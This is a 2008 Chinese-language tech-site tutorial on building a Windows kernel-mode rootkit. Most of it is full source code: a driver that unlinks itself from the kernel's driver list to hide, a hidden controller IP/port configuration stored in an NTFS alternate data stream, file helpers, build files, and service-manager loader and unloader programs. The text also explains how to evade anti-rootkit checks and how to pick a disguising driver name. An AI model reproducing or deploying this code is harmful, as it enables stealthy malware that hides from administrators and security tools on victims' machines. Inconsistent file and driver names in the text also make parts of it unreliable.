科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航



ZDNet>安全频道>ZD评测>Rootkit隐形技术入门

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

在安全界,rootkit已越来越引起人们的关注,而rootkit技术的过人之处就在于它的隐形技术,本文旨在向读者打开一扇通向rootkit隐形技术的大门。

来源:51CTO.com 2008年10月10日

关键字:黑客 rootkit Rootkit隐形 攻击防范

  在安全界,rootkit已越来越引起人们的关注,而rootkit技术的过人之处就在于它的隐形技术,本文旨在向读者打开一扇通向rootkit隐形技术的大门。

  一、综述

  本文将引领读者打造一个初级的内核级Rootkit,然后为其引入两种简单的隐形技术:进程隐形技术和文件隐形技术。同时,为了让读者获得rootkit编程的相关经验,我们顺便介绍了rootkit的装载、卸载方法,以及必不可少的测试技术。

  本文介绍的Rootkit的主要构件是一个设备驱动程序,所以我们首先了解一下我们的第一个rootkit。

  二、rootkit主体

  本节引入一个简单的rootkit实例,它实际上只给出了rootkit的主体框架,换句话说,就是一个设备驱动程序。那么为什么要用设备驱动程序作为主体呢?很明显,因为在系统中,设备驱动程序和操作系统一样,都是程序中的特权阶级——它们运行于Ring0,有权访问系统中的所有代码和数据。还有一点需要说明的是,因为本例主要目的在于介绍rootkit是如何隐形的,所以并没有实现后门之类的具体功能,。

  我们将以源代码的形式说明rootkit,对着重介绍一些重要的数据结构和函数。下面,先给出我们用到的第一个文件,它是一个头文件,名为Invisible.h,具体如下所示:  

  //Invisible.h:我们rootkit的头文件

  #ifndef _INVISIBLE_H_

  #define _INVISIBLE_H_

  typedef BOOLEAN BOOL;

  typedef unsigned long DWORD;

  typedef DWORD* PDWORD;

  typedef unsigned long ULONG;

  typedef unsigned short WORD;

  typedef unsigned char BYTE;

  typedef struct _DRIVER_DATA

  {

  LIST_ENTRY listEntry;

  DWORD unknown1;

  DWORD unknown2;

  DWORD unknown3;

  DWORD unknown4;

  DWORD unknown5;

  DWORD unknown6;

  DWORD unknown7;

  UNICODE_STRING path;

  UNICODE_STRING name;

  } DRIVER_DATA;

  #endif

  我们知道,应用软件只要简单引用几个文件如stdio.h和windows.h,就能囊括大量的定义。但这种做法到了驱动程序这里就行不通了,原因大致有二条,一是驱动程序体积一般较为紧凑,二是驱动程序用途较为专一,用到的数据类型较少。因此,我们这里给出了一个头文件Invisible.h,其中定义了一些供我们的rootkit之用的数据类型。

  这里定义的类型中,有一个数据类型要提一下:双字类型,它实际上是一个无符号长整型。此外,DRIVER_DATA是Windows 操作系统未公开的一个数据结构,其中含有分别指向设备驱动程序目录中上一个和下一个设备驱动程序的指针。而我们这里开发的rootkit恰好就是作为设备驱动程序来实现,所以,只要从设备驱动程序目录中将我们的rootkit(即驱动程序)所对应的目录项去掉,系统管理程序就看不到它了,从而实现了隐形。

  上面介绍了rootkit的头文件,现在开始介绍rootkit的主体部分,它实际就是一个基本的设备驱动程序,具体代码如下面的Invisible.c所示:  

  // Invisible

  #include "ntddk.h"

  #include "Invisible.h"

  #include "fileManager.h"

  #include "configManager.h"

  // 全局变量

  ULONG majorVersion;

  ULONG minorVersion;

  //当进行free build时,将其注释掉,以防被检测到

  VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )

  {

  DbgPrint("comint16: OnUnload called.");

  }

  NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING

  theRegistryPath )

  {

  DRIVER_DATA* driverData;

  //取得操作系统的版本

  PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );

  // Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95

  // Major = 5: Windows Server 2003, Windows XP 或 Windows 2000

  // Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95

  // Minor = 1: Windows XP

  // Minor = 2: Windows Server 2003

  if ( majorVersion == 5 && minorVersion == 2 )

  {

  DbgPrint("comint16: Running on Windows 2003");

  }

  else if ( majorVersion == 5 && minorVersion == 1 )

  {

  DbgPrint("comint16: Running on Windows XP");

  }

  else if ( majorVersion == 5 && minorVersion == 0 )

  {

  DbgPrint("comint16: Running on Windows 2000");

  }

  else if ( majorVersion == 4 && minorVersion == 0 )

  {

  DbgPrint("comint16: Running on Windows NT 4.0");

  }

  else

  {

  DbgPrint("comint16: Running on unknown system");

  }

  // 隐藏该驱动程序

  driverData = *((DRIVER_DATA**)((DWORD)pDriverObject + 20));

  if( driverData != NULL )

  {

  // 将本驱动程序的相应目录项从项驱动程序目录中拆下来

  *((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;

  driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;

  }

  // 允许卸载本驱动程序

  pDriverObject->DriverUnload = OnUnload;

  // 为本Rootkit的控制器配置连接

  if( !NT_SUCCESS( Configure() ) )

  {

  DbgPrint("comint16: Could not configure remote connection.\n");

  return STATUS_UNSUCCESSFUL;

  }

  return STATUS_SUCCESS;

  }

  Invisible.c是该rootkit的主体结构,其中包括入口函数DriverEntry和卸载函数OnUnload。操作系统加载该驱动程序时将调用入口函数。我们看到,在传递给入口函数的参数中有一个是DRIVER_OBJECT,它的作用是给出跟该驱动程序通信时所调用的函数的映射表。就本例而言,我们仅仅映射了一个函数pDriverObject-〉DriverUnload,这样以来,当卸载驱动程序时,操作系统调用onunload函数就可行了。需要特别说明的是,这一点在rootkit开发过程中特别实用,不用重启系统就可以卸载驱动程序,但是它却带来了一个大问题:容易被发现,所以在隐蔽性要求较高时不能使用,我们已经在源代码的相应部分给出了注释。

  下面我们看一下该rootkit如何实现隐形。我们将隐藏设备驱动程序的代码摘录如下:  

  // 隐藏该驱动程序

  driverData = *((DRIVER_DATA**)((DWORD)pDriverObject + 20));

  if( driverData != NULL )

  {

  // 将本驱动程序的相应目录项从项驱动程序目录中拆下来

  *((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;

  driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;

  }

  为了达到不让操作系统找到我们的rootkit设备驱动程序的目的,这段代码修改了系统内核中的一个内部数据结构。系统中有一个双向链表,专门记录当前运行着的驱动程序,也就是说每个运行的驱动程序在该链表中都有一个对应的表项。像drivers.exe之类的应用程序,正是通过该链表来获取设备驱动程序信息的,换句话说,如果从该链表中摘除本rootkit对应的表项,就能隐藏该rootkit的存在,从而躲过大多数的检测。具体如下图所示:

  图1 修改前的驱动程序链表

  图2 修改后的驱动程序链表

  细心的读者也许会问:能藏起来固然是好,不过系统若仅通过该链表来感知驱动程序的存在的话,我们的这样做岂不是自己把rootkit给干掉了?!的幸运的是,Windows操作系统的内核使用另一个表来给各运行中的驱动程序分配时间,所以,即使从设备驱动程序列表清除rootkit相应的表项,我们的rootkit也照样活得很自在。

  利用该技术隐匿rootkit时,必须注意一点:如果已在我们的rootkit之前安装了anti-rootkit软件,“清除一个设备驱动程序表项”这一行为本身有可能被发觉,从而引起人们的注意。读者会问:这该怎么办呢?答案是,先记下本rootkit所对应的设备驱动程序表项的地址,然后钩住钩住检查设备驱动程序链表的内核函数,当这个函数要检查该链表时,我们就有机会提前把保存的表项放回到设备驱动程序链表。当检查过后,再将该表项摘除。这样,在rootkit检测程序看来,没有人在设备驱动程序链表做手脚:反Rootkit软件被我们忽悠了。不过该技术较为复杂,超出了本文的讨论范围,有机会我们会专文讲解。

  您可能已经注意到,在Invisible.c中很多地方都使用了调试语句。事实上,DbgPrint语句基本上可以在rootkit中随意放置。在本例中,我们使用DbgPrint语句用来监视驱动程序的装卸和错误状态。不过该语句的输出不会直接显示到标准输出设备即显示器上,只有在DebugView程序的帮助下,我们才可以查看这些语句的输出。除DebugView程序外,内核程序调试工具也可以达此目的。另外,我们的调试语句还有一个特点,它们都以comint 32开头,这样做一方面是用以区别其他程序的调试语句的输出。 另一方面利用comint 32这个词是为了掩人耳目,因为这个词很难让人跟rootkit联系到一块。

  三、配置管理器

  我们的rootkit主体已经建好,不过要想让它干活,还得做些必要的配置。比如,如果需要对其进行远程控制的话,就需要配置相应的连接。所以,我们还需要一个配置管理器,来完成配置rootkit的工作。下面是Rootkit配置管理器的头文件:  

  // configManager.h

  // 配置管理器的头文件

  #ifndef _CONFIG_MANAGER_H_

  #define _CONFIG_MANAGER_H_

  Char masterPort[10];

  Char masterAddress1[4];

  Char masterAddress2[4];

  Char masterAddress3[4];

  Char masterAddress4[4];

  NTSTATUS Configure();

  #endif

  我们的头文件configManager.h比较简单,前面部分定义的数据结构用于控制端的通信地址和通信端口。最后声明了一个函数。接下来,我们看一下配置管理器的源代码:  

  // configManager.c

  // 首先从c:\config16寻找配置文件

  // If it's there, save as MASTER_FILE:config16 and delete c:\config16

  // If it's not there, try MASTER_FILE:configFile

  // If that doesn't exist, quit!

  #include "ntddk.h"

  #include "fileManager.h"

  #include "configManager.h"

  // Set the controllers IP and port

  NTSTATUS Configure()

  {

  CHAR data[21];

  SHORT vis = 0;

  SHORT loop;

  SHORT dataIndex;

  SHORT addressIndex;

  ULONG fileSize;

  PHANDLE fileHandle;

  //了解读哪个文件

  if( NT_SUCCESS( GetFile( L"\\??\\C:\\config16", data, 21, &fileSize ) ) )

  {

  DbgPrint("comint16: Reading config from visible file.");

  vis = 1;

  }

  else

  {

  if( NT_SUCCESS( GetFile( L"config16", data, 21, &fileSize ) ) )

  {

  DbgPrint("comint16: Reading config from hidden file.");

  }

  else

  {

  DbgPrint("comint16: Error. Could not find a config file.");

  return STATUS_UNSUCCESSFUL;

  }

  }

  //将控制端地址和端口转换成aaa.bbb.ccc.ddd:eeeee格式

  dataIndex = 0;

  addressIndex = 0;

  // First 3 are xxx of xxx.111.111.111:11111

  for( loop = 0; loop < 3; loop++ )

  masterAddress1[addressIndex++] = data[dataIndex++];

  masterAddress1[addressIndex] = 0;

  addressIndex = 0; //复位

  dataIndex++; //跳过点号“.”

  //接下来是111.xxx.111.111:11111中的xxx

  for( loop = 0; loop < 3; loop++ )

  masterAddress2[addressIndex++] = data[dataIndex++];

  masterAddress2[addressIndex] = 0;

  addressIndex = 0; //复位

  dataIndex++; //跳过点号“.”

  //然后处理111.111.xxx.111:11111中的xxx

  for( loop = 0; loop < 3; loop++ )

  masterAddress3[addressIndex++] = data[dataIndex++];

  masterAddress3[addressIndex] = 0;

  addressIndex = 0; //复位

  dataIndex++; //跳过点号“.”

  //然后处理111.111.111.xxx:11111中的xxx

  for( loop = 0; loop < 3; loop++ )

  masterAddress4[addressIndex++] = data[dataIndex++];

  masterAddress4[addressIndex] = 0;

  addressIndex = 0; //复位

  dataIndex++; //跳过冒号“:”

  //接下来的五位数是111.111.111.111:xxxxx中的端口号xxxxx

  for( loop = 0; loop < 5; loop++ )

  masterPort[addressIndex++] = data[dataIndex++];

  masterPort[addressIndex] = 0;

  DbgPrint( "comint16: Using %s.%s.%s.%s:%s",

  masterAddress1,

  masterAddress2,

  masterAddress3,

  masterAddress4,

  masterPort);

  if( vis == 1 )

  {

  DbgPrint("comint16: Saving config to hidden file.");

  PutFile( L"config16", data, fileSize );

  DbgPrint("comint16: You may delete the visible file.");

  }

  return STATUS_SUCCESS;

  }

  以上是配置管理器的源代码。该配置管理器的作用很明显,就是从一个文件中读取17个字符。不过存放这些字符的文件的位置反倒有点复杂:当我们第一次安装rootkit时,该配置文件必须位于c:\config 32,如果配置文件不在这里,rootkit会安静地“结束”;当rootkit激活后,它会把这个配置文件以交换数据流(ADS)形式隐藏起来。

  上面提到了用交换数据流来隐藏文件。也许您对这个概念还不太熟悉,那好,下面我们就开始介绍交换数据流。

  四、交换数据流

  利用Windows提供的交换数据流功能,我们可以在不影响文件及其大小的情况下,捎带其他一些东西,如图标等。想当初,微软公司将此功能添加至Windows操作系统的初衷并非向用户提供一种隐藏文件的把戏,但它的确有这种功效:我们正好可以利用它为配置文件提供藏身之所。其实,该方法不仅适用于文件,同样也是用于目录,因为目录也是文件的一种。与其把配置文件附着在一个“惹眼”的系统文件上,倒不如将其挂在一个不起眼的目录上,后者的保险系数更高一些。

  为了让读者感性地认识一下交换数据流,您可以亲自在DOS命令提示符下做个小实验。首先,建立一个文件,并将其命名为test .txt ,保存,然后看一下该文件的大小。 现在,在DOS提示符下键入以下命令:  

  echo nihao >test.txt:alternate.txt

  该命令给test.txt文件添加一个交换数据流,该数据流的名称为test.txt:alternate.txt,内容为nihao。如果用dir命令来检查的话,我们只看到test.txt文件,并且其大小依旧不变。不过,我们在DOS提示符下键入以下命令  

  notepad test.txt:alternate.txt

  就能看到交换数据流的内容了。这个实验并不复杂,建议读者动手做一下。需要说明的是,它不适用于FAT文件系统,在NTFS文件系统下才奏效。

  好了,现在看看我们需要隐藏的配置的具体格式,如下所示:  

  XXX.XXX.XXX.XXX:YYYYY

  其中,XXX.XXX.XXX.XXX代表控制端的IP地址,由十二个阿拉伯数字组成;YYYYY表示控制端所侦听的端口号,由五位阿拉伯数字组成。该配置最初存放在文件c:\config16中,一旦rootkit运行一次之后,它读取该配置,将其挂靠到目录C:\WINDOWS\Resources上以交换数据流文件(C:\WINDOWS\Resources:config16)的形式存放,并将原来的文件c:\config16删除。也就是说,以rootkit初次运行为分水岭,之前,配置位于c:\config16文件中;之后,位于C:\WINDOWS\Resources:config16文件中。同样,以rootkit初次运行为分水岭,第一次运行时,rootkit从c:\config16文件读取配置;之后,从C:\WINDOWS\Resources:config16文件中读取配置。

  至于数据流所挂靠的目录,如C:\WINDOWS \Resources 在fileManager.h文件中加以定义。虽然使用硬编码的路径即在代码中直接给出目录名如C:\WINDOWS比较直接,但是需要考虑健壮性的时候,在给rootkit指定隐藏文件的位置时,通过操作系统来查找%WINDOWS%目录更为稳妥。

  上面介绍了配置文件的格式和对配置文件的处理,不过具体工作都是由软件代劳的。完成这部分工作的软件我们称其为文件管理器。这里是我们的文件管理器的头文件,源代码如下所示:  

  //fileManager.h

  #ifndef _FILE_MANAGER_H_

  #define _FILE_MANAGER_H_

  //尽管微软的文档没有提及,但是NTFS-ADS还能用于目录。

  //为了防止rootkit被一网打尽,黑客通常不会一个目录用到底,而是打一枪换一个地方

  #define MASTER_FILE L"\\??\\C:\\WINDOWS\\Resources"

  NTSTATUS GetFile( WCHAR* filename, CHAR* buffer, ULONG buffersize, PULONG

  fileSizePtr );

  NTSTATUS PutFile( WCHAR* filename, CHAR* buffer, ULONG buffersize );

  #endif

  FileManager.h文件中,我们将交换数据流的位置定义为MASTER_FILE ,同时声明了两个函数GetFile 和PutFile,这两个函数会在上面的configManager.c中用过,并且在下面对配置文件实现隐形的代码中也大有可为: 

  // fileManager.c

  // 向MASTER_FILE存放交换数据流或者从MASTER_FILE取出交换数据流时,无需路径

  // 与之相反,向可见的文件系统存放交换数据流或者从可见的文件系统取出交换数据

  流时,需用绝对路径

  #include "ntddk.h"

  #include

  #include "fileManager.h"

  #include "Invisible.h"

  NTSTATUS GetFile( WCHAR* filename, CHAR* buffer, ULONG buffersize, PULONG

  fileSizePtr )

  {

  NTSTATUS rc;

  WCHAR ADSName[256];

  HANDLE hStream;

  OBJECT_ATTRIBUTES ObjectAttr;

  UNICODE_STRING FileName;

  IO_STATUS_BLOCK ioStatusBlock;

  CHAR string[256];

  // 设置文件尺寸

  *fileSizePtr = 0;

  // 如果不是绝对路径,从NTFS-ADS中读

  if( wcschr( filename, '\\' ) == NULL )

  _snwprintf( ADSName, 255, L"%s:%s", MASTER_FILE, filename );

  else

  wcscpy( ADSName, filename );

  RtlInitUnicodeString( &FileName, ADSName );

  InitializeObjectAttributes( &ObjectAttr,

  &FileName,

  OBJ_CASE_INSENSITIVE,

  NULL,

  NULL);

  rc = ZwOpenFile(

  &hStream,

  SYNCHRONIZE | GENERIC_ALL,

  &ObjectAttr,

  &ioStatusBlock,

  FILE_SHARE_READ | FILE_SHARE_WRITE,

  FILE_SYNCHRONOUS_IO_NONALERT );

  if ( rc != STATUS_SUCCESS )

  {

  DbgPrint( "comint16: GetFile() ZwOpenFile() failed.\n" );

  _snprintf( string, 255, "comint16: rc = %0x, status = %0x\n",

  rc,

  ioStatusBlock.Status );

  DbgPrint( string );

  return( STATUS_UNSUCCESSFUL );

  }

  rc = ZwReadFile(

  hStream,

  NULL,

  NULL,

  NULL,

  &ioStatusBlock,

  buffer,

  buffersize,

  NULL,

  NULL );

  if ( rc != STATUS_SUCCESS )

  {

  DbgPrint( "comint16: GetFile() ZwReadFile() failed.\n" );

  _snprintf( string, 255, "comint16: rc = %0x, status = %0x\n",

  rc,

  ioStatusBlock.Status );

  DbgPrint( string );

  return( STATUS_UNSUCCESSFUL );

  }

  //成功读取后,返回读取的字节数量

  *fileSizePtr = ioStatusBlock.Information;

  ZwClose( hStream );

  return( STATUS_SUCCESS );

  }

  NTSTATUS PutFile( WCHAR* filename, CHAR* buffer, ULONG buffersize )

  {

  NTSTATUS rc;

  WCHAR ADSName[256];

  HANDLE hStream;

  OBJECT_ATTRIBUTES ObjectAttr;

  UNICODE_STRING FileName;

  IO_STATUS_BLOCK ioStatusBlock;

  CHAR string[256];

  //如果不是绝对路径,交给NTFS-ADS

  if( wcschr( filename, '\\' ) == NULL )

  _snwprintf( ADSName, 255, L"%s:%s", MASTER_FILE, filename );

  else

  wcscpy( ADSName, filename );

  RtlInitUnicodeString( &FileName, ADSName );

  InitializeObjectAttributes( &ObjectAttr,

  &FileName,

  OBJ_CASE_INSENSITIVE,

  NULL,

  NULL);

  rc = ZwCreateFile(

  &hStream,

  SYNCHRONIZE | GENERIC_ALL,

  &ObjectAttr,

  &ioStatusBlock,

  NULL,

  FILE_ATTRIBUTE_NORMAL,

  FILE_SHARE_READ | FILE_SHARE_WRITE,

  FILE_OVERWRITE_IF,

  FILE_SYNCHRONOUS_IO_NONALERT,

  NULL,

  0);

  if ( rc != STATUS_SUCCESS )

  {

  DbgPrint( "comint16: PutFile() ZwCreateFile() failed.\n" );

  _snprintf( string, 255, "comint16: rc = %0x, status = %0x\n", rc,

  ioStatusBlock.Status );

  DbgPrint( string );

  return( STATUS_UNSUCCESSFUL );

  }

  rc = ZwWriteFile(

  hStream,

  NULL,

  NULL,

  NULL,

  &ioStatusBlock,

  buffer,

  buffersize,

  NULL,

  NULL );

  if ( rc != STATUS_SUCCESS )

  {

  DbgPrint( "comint16: PutFile() ZwWriteFile() failed.\n" );

  _snprintf( string, 255, "comint16: rc = %0x, status = %0x\n", rc,

  ioStatusBlock.Status );

  DbgPrint( string );

  ZwClose( hStream );

  return( STATUS_UNSUCCESSFUL );

  }

  ZwClose( hStream );

  return( STATUS_SUCCESS );

  }

  在FileManager.c文件中,定义了GetFile 和PutFile两个函数。需要注意的是,这两个函数都是使用的宽字符串。这是因为目前Windows操作系统用的都是宽字符,既然跟操作系统打交道的话,我们自然要入乡随俗了。还有一个问题需要注意,宽字符串在使用时,必须先初始化,然后才能使用,我们用RtlInitUnicodeString函数初始化宽字符串。

  ZwOpenFile类似于用户模式SDK中的函数OpenFile,只不过前者用于内核模式。前面说过,我们的rootkit是一个内核模式设备驱动程序,因为在内核模式下运行,只能用内核模式下的函数ZwOpenFile来打开文件。ZwOpenFile函数名中的前缀“Zw”表示这是与文件操作有关的函数。

  GetFile主要由ZwOpenFile、ZwReadFile和ZwClose三个函数组成;PutFile主要由ZwCreateFile 、ZwWriteFile 和ZwClose 三个函数组成。

  当我们利用DDK编译程序时,除了源代码外,还需要另外两个文件:一个SOURCES 文件和一个MAKEFILE。DDK通过这些文件确定要编译哪些文件,如何编译,编译后所得目标文件如何命名等。就本例而言,需要编译的源文件是Invisible.c、fileManager.c和configManager.c;将其编译成驱动程序;驱动程序名为comint16。这里是SOURCES文件内容:  

  TARGETNAME=comint16

  TARGETPATH=OBJ

  TARGETTYPE=DRIVER

  SOURCES=Invisible.c\

  fileManager.c\

  configManager.c

  进行不同的编译时,SOURCES文件会随之变化。但是MAKEFILE将保持不变,其内容如下所示:  

  #

  #千万别改它!

  #

  !INCLUDE $(NTMAKEENV)\makefile.def

  好了,忙活了半天了,现在是编译我们的程序的时候了:从DDK中单击checked-build environment,在打开的命令窗口中切换至源代码所在目录,输入命令build,剩下事情就由DDK替我们代劳了。如果一切顺利,我们将得到一些新文件,其中一个是commint32.sys,它就是我们的rootkit,它实际上是个设备驱动程序。

  现在,rootkit已经到手,现在是考虑安装问题的时候了。

  五、rootkit的安装

  对于应用程序来说,加载和执行是同时进行的;与此不同,设备驱动程序的加载和启动是截然不同的两个步骤。这种分步处理的方式,使得驱动程序可以在操作系统引导过程中就提前载入,但直至将来需要时才启动它们——有时候倒有些“起个大早,赶个晚集”的意味。如果需要,我们还可以利用注册表项让系统每次引导时都加载指定的驱动程序,甚而启动它们。

  虽然现实中的rootkit在引导过程中装入就不再卸载,但在设备驱动程序开发过程中,利用能够随时装卸rootkit的“请求式启动”加载技术能带来极大的便利。这样的话,不必重新引导系统就可以重复终止、卸载、重新编译、重装入和重启动驱动程序。就本例而言,SCMLoader程序利用服务控制管理器将comint16.sys装入内核空间;可以利用“net start MyDeviceDriver”命令启动该驱动程序,也可以利用“net stop MyDeviceDriver”命令停止该驱动程序的运行;最后,SCMUnloader程序利用服务控制管理器将comint16.sys从内核空间卸载。

  为简单起见,我们使用一个小巧的可执行文件来安装rootkit。该程序只需要打开服务控制管理器,然后加载一个内核设备驱动程序就可以了。  

  //SCMLoader.c

  //本程序用于加载c:\comint16.sys

  #include

  #include

  #include

  void main( int argc, char *argv[ ] )

  {

  SC_HANDLE sh1;

  SC_HANDLE sh2;

  sh1 = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS );

  if ( !sh1 )

  {

  printf( "OpenSCManager Failed!\n" );

  return;

  }

  sh2 = CreateService( sh1,

  "MyDeviceDriver",

  "MyDeviceDriver",

  SERVICE_ALL_ACCESS,

  SERVICE_KERNEL_DRIVER,

  SERVICE_DEMAND_START,

  SERVICE_ERROR_NORMAL,

  "c:\\comint16.sys",

  NULL,

  NULL,

  NULL,

  NULL,

  NULL );

  if ( !sh2 )

  {

  if ( GetLastError() == ERROR_SERVICE_EXISTS )

  printf("DeviceDriver already loaded!\n");

  else

  printf("CreateService Failed!\n");

  }

  else

  {

  printf("\nDriver loaded!\n");

  }

  }

  在了解内核模式编程之后,是不是觉得这个“用户模式”程序看起来简单多了。因为我们能将驱动程序的位置作为传递参数自由添加,所以就不必为每个新rootkit都重新编译此安装工具了。简单是更重要的,鉴于此,我们将rootkit的名字硬编码进该程序。

  如果你具有可用的编译环境,你可以打开命令提示符窗口,然后在此窗口中编译SCMLoader。一旦配置好了开发环境,导航至存放SCMLoader.c的目录,键入下列命令就可SCMLoader以开始编译:  

  cl -nologo -W3 -O2 SCMLoader.c /link /NOLOGO user32.lib advapi32.lib

  如果以上命令未能成功编译SCMLoader.exe,那么你可能需要调整您的开发环境。大多数的开发环境问题可以通过VCVARS32.BAT加以解决。如果在您的C/C++编译程序安装目录(通常位于C:\Program Files)下搜索的话,你会发现一个VCVARS32.BAT文件。这个文件用来配置某个编译程序的命令提示符窗口。如果将该文件复制到你的rootkit目录,并于编译之前执行该文件的话,大部分编译程序的问题都会迎刃而解。

  如果运行VCVARS32.BAT后问题依旧,或您没有找到该文件,那么您就得逐个查看编译和连接错误来确定问题到底出在哪里。以“Can't find”打头的错误可能牵扯到全局性的LIB和INCLUDE环境变量(例如, “Can’t find xxx.lib = LIB”和“Can ’t find xxx.h=INCLUDE ”。您可以在C/C++编译程序的安装目录中搜寻未找到的文件,一旦发现,修改环境变量(LIB 和INCLUDE )以包含这些文件的所在路径。

  要修改环境变量,左键单击屏幕左下角的“开始”按钮,然后从弹出菜单中右键单击“我的电脑”,在弹出列表中选取“属性”。在“属性”对话框中,选择“高级”选项卡,然后选择该选项卡中的“环境变量”按钮。你会发现,LIB和INCLUDE这两个变量位于用户变量或者系统变量中。要修改环境变量,双击它,然后加入找到的文件的所在路径。一定记住,所有路径条目都要用分号隔开。添加好所有路径之后,单击“确定”按钮关闭窗口,并保存新设置。要使改变生效,必须将所有已打开的命令提示符窗口关闭,然后再打开方可。成功编译一回后,可以把编译命令放到一个批处理文件中,如buildSCMLoader.bat。

  经过以上几步后,你也许已经注意到在加载rootkit之前还有一步要做:你必须建立一个配置文件。当然,除了将其藏在一个交换数据流中之外,rootkit根本就没有用到什么配置,但是对于加载来说这一项是必需的。

  您可以从DOS命令提示符窗口中用命令“echo 123.456.789.012:01234 >c:\config16”来创建所需的配置文件。或者使用您自己IP地址和80端口(例如, 127.000.000.001:00080)为跟踪rootkits做好准备。无论如何,格式必须一致。当前的Invisible还不能处理诸如“127.0.0.1:80”之类的非格式化IP/端口字符串。装载程序编译好,并且建立了配置文件之后,要做的全部就是把该rootkit移至c:\comint16.sys,运行SCMLoader,用命令“net start MyDeviceDriver”启动我们的rootkit。如果一切正常的话,我们会看到输出“Driver loaded!”。若已打开DebugView,你还会看到来自于rootkit即comint16的调试命令。

  很好!现在,您自己的rootkit已经装入并运行起来了。

  加载器SCMLoader创建了一个注册表项,从而使您的rootkit会在系统下次引导时再次被加载。幸运的是,rootkit用“按需启动”选项进行初始化,所以它不会立即启动。相反,只有键入“net start MyDeviceDriver ”命令后,该rootkit才会启动。您可以通过删除文件c:\comint16.sys或者通过删除注册表键HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MyDeviceDriver\MyDeviceDriver来停止加载该rootkit。然而,你可能不想每次修改该rootkit之后都要删除文件或者注册表项然后重新引导系统,为此你还需要一个卸载程序。以下代码和对应的编译命令可用于建立一个SCMUnloader。SCMLoader、SCMUnloader程序以及“net start MyDeviceDriver”、“net stop MyDeviceDriver”命令可通用于不同的comint16版本。 另外,要记住的是您可以在读取config16之后将其删除;rootkit将寻找交换数据流SCMUnloader.c  

  //SCMUnloader.c

  //本程序用于卸载c:\comint16.sys

  #include

  #include

  #include

  void main( int argc, char *argv[ ] )

  {

  SC_HANDLE sh1;

  SC_HANDLE sh2;

  SERVICE_STATUS ss;

  sh1 = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS );

  if ( !sh1 )

  {

  printf( "OpenSCManager Failed!\n" );

  return;

  }

  sh2 = OpenService(sh1,

  "MyDeviceDriver",

  SERVICE_ALL_ACCESS );

  if ( !sh2 )

  {

  printf("OpenService Failed!\n");

  CloseServiceHandle( sh1 );

  exit(1);

  }

  ControlService( sh2, SERVICE_CONTROL_STOP, &ss );

  if ( !DeleteService( sh2 ) )

  printf("Could not unload MyDeviceDriver!\n");

  else

  printf("Unloaded MyDeviceDriver.\n");

  CloseServiceHandle( sh2 );

  CloseServiceHandle( sh1 );

  }

  六、测试我们的rootkit

  经过一番努力,我们以经可以通过编程的方式,实现了对rookit的操控,如加载、卸载、启动和终止。现在,我们要对各种操作进行检验,看看它们是否工作正常。

  在进行第一项测试之时,需要使用某个系统管工具来列出当前运行在系统上的所有活动的设备驱动程序,我们这里使用的是常见的drivers.exe。大多数Microsoft操作系统的资源包和驱动程序开发包都带有该工具。运行该程序无需参数,运行后会列出所有正在运行的设备驱动程序。加载并启动MyDeviceDriver后,在当前运行的设备驱动程序列表中找不到comint16.sys项,说明它已经成功的隐藏起来了。

  第二项测试是验证添加到C:\Windows\Resources文件上的交换数据流。为此,删除C:\config16,然后终止并重新启动MyDeviceDriver。因为config16已不复存在,所以rootkit必须从交换数据流检索配置信息,我们可以借助DebugView工具进行验证。调试输出将表明初始的GetFile()失败,因为它试图读取C:\config16,而此时该文件已被删除。之后的调试输出表明“Reading config from hidden file.”。然后显示从ADS读取的IP与端口信息。

  七、总结

  好了,忙活了半天,我们终于鼓捣出了一个初步的rootkit。看看我们的成果,我们的rootkit采用内核驱动程序作为框架,所以它运行于内核级——目前的绝大部分内核级rootkit都采用这种结构;它实现了设备驱动程序入口及其配置文件的隐形。俗话说的好,头三脚难踢,但我们的第一脚已经踢出去了。

  但话又说回来,与一些高级的rootkit相比,我们的rootkit确实显得嫩了些,比如它的功能仅限于对操作系统隐藏其配置文件和设备驱动程序入口;要实现真正的隐形,要藏的东西还很多,如文件、目录、驱动程序、进程与注册表项等等。此外,我们的藏身手法也算不得高明,例如:使用服务控制管理器注册该rootkit时,会创建一个注册表项,要紧的是,只要是个注册表编辑器就能找到该注册表项;Invisible使用“comint16”这个具有迷惑性的名称来隐瞒其真实身份,但是这种伎俩太小儿科,我们需要更高级的技术。为了实现真正的隐形,还有许多事情要做,我们将在后续文章中陆续加以介绍。

推广二维码
邮件订阅

如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

重磅专题